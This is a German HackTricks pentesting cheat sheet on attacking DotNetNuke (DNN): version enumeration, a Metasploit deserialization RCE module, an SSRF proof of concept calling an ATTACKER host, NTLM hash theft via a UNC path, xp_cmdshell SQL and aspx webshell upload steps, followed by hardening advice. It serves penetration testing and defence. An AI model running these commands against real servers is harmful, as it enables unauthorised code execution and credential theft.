5.0 KiB
Raw Blame History

DotNetNuke (DNN)

{{#include ../../banners/hacktricks-training.md}}

DotNetNuke (DNN)

Wenn Sie sich als Administrator in DNN anmelden, ist es einfach, RCE zu erhalten. In den letzten Jahren wurden jedoch eine Reihe von unauthentifizierten und post-auth Techniken veröffentlicht. Das folgende Cheat-Sheet sammelt die nützlichsten Primitiven für sowohl offensive als auch defensive Arbeiten.


Versions- & Umgebungsenumeration

  • Überprüfen Sie den X-DNN HTTP-Antwortheader er gibt normalerweise die genaue Plattformversion an.
  • Der Installationsassistent gibt die Version in /Install/Install.aspx?mode=install preis (zugänglich bei sehr alten Installationen).
  • /API/PersonaBar/GetStatus (9.x) gibt ein JSON-Blob zurück, das "dnnVersion" für Benutzer mit niedrigen Berechtigungen enthält.
  • Typische Cookies, die Sie in einer Live-Instanz sehen werden:
  • .DOTNETNUKE ASP.NET-Formularauthentifizierungsticket.
  • DNNPersonalization enthält XML/serialisierte Benutzerdaten (alte Versionen siehe RCE unten).

Unauthentifizierte Ausnutzung

Betroffene Versionen ≤ 9.3.0-RC

DNNPersonalization wird bei jeder Anfrage deserialisiert, wenn der integrierte 404-Handler aktiviert ist. Durch manipuliertes XML kann daher zu beliebigen Gadget-Ketten und Codeausführung führen.

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

Das Modul wählt automatisch den richtigen Pfad für gepatchte, aber weiterhin anfällige Versionen (CVE-2018-15811/15812/18325/18326). Die Ausnutzung funktioniert ohne Authentifizierung bei 7.x9.1.x und mit einem verifizierten Konto mit niedrigen Rechten bei 9.2.x+.

2. Server-Side Request Forgery (CVE-2025-32372)

Betroffene Versionen < 9.13.8 Patch veröffentlicht April 2025

Ein Umgehen des älteren DnnImageHandler-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, willkürliche GET-Anfragen auszugeben (semi-blind SSRF). Praktische Auswirkungen:

  • Interner Port-Scan / Metadaten-Service-Entdeckung in Cloud-Bereitstellungen.
  • Erreichen von Hosts, die sonst durch eine Firewall vom Internet getrennt sind.

Proof-of-Concept (ersetzen Sie TARGET & ATTACKER):

https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc

Die Anfrage wird im Hintergrund ausgelöst; überwachen Sie Ihren Listener auf Rückrufe.

3. NTLM-Hash-Exposition über UNC-Umleitung (CVE-2025-52488)

Betroffene Versionen 6.0.0 9.x (< 10.0.1)

Spezial angefertigte Inhalte können DNN dazu bringen, eine Ressource über einen UNC-Pfad wie \\attacker\share\img.png abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leakt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf 10.0.1 oder deaktivieren Sie ausgehendes SMB an der Firewall.

4. IP-Filter-Umgehung (CVE-2025-52487)

Wenn Administratoren auf Host/IP-Filter zum Schutz des Admin-Portals angewiesen sind, beachten Sie, dass Versionen vor 10.0.1 durch Manipulation von X-Forwarded-For in einem Reverse-Proxy-Szenario umgangen werden können.


Post-Authentifizierung zu RCE

Über SQL-Konsole

Unter Einstellungen → SQL ermöglicht ein integriertes Abfragefenster die Ausführung gegen die Site-Datenbank. Auf Microsoft SQL Server können Sie xp_cmdshell aktivieren und Befehle ausführen:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

Über ASPX-Webshell-Upload

  1. Gehe zu Einstellungen → Sicherheit → Mehr → Weitere Sicherheitseinstellungen.
  2. Füge aspx (oder asp) zu Erlaubte Dateierweiterungen hinzu und speichere.
  3. Gehe zu /admin/file-management und lade shell.aspx hoch.
  4. Rufe es auf unter /Portals/0/shell.aspx.

Privilegieneskalation unter Windows

Sobald die Codeausführung als IIS AppPool<Site> erreicht ist, gelten gängige Windows-Privilegieneskalationstechniken. Wenn die Box anfällig ist, kannst du Folgendes nutzen:

  • PrintSpoofer / SpoolFool, um SeImpersonatePrivilege auszunutzen.
  • Juicy/Sharp Potatoes, um Service Accounts zu umgehen.

Empfehlungen zur Härtung (Blue Team)

  • Upgrade auf mindestens 9.13.9 (behebt SSRF-Umgehung) oder vorzugsweise 10.0.1 (IP-Filter- & NTLM-Probleme).
  • Entferne verbleibende InstallWizard.aspx*-Dateien nach der Installation.
  • Deaktiviere ausgehenden SMB (Ports 445/139) Egress.
  • Erzwinge starke Host-Filter am Edge-Proxy anstelle innerhalb von DNN.
  • Blockiere den Zugriff auf /API/RemoteContentProxy, wenn nicht verwendet.

Referenzen

  • Metasploit dnn_cookie_deserialization_rce Modul-Dokumentation praktische Details zur nicht authentifizierten RCE (GitHub).
  • GitHub-Sicherheitsberatung GHSA-3f7v-qx94-666m Informationen zur SSRF-Umgehung & Patch-Informationen von 2025. {{#include ../../banners/hacktricks-training.md}}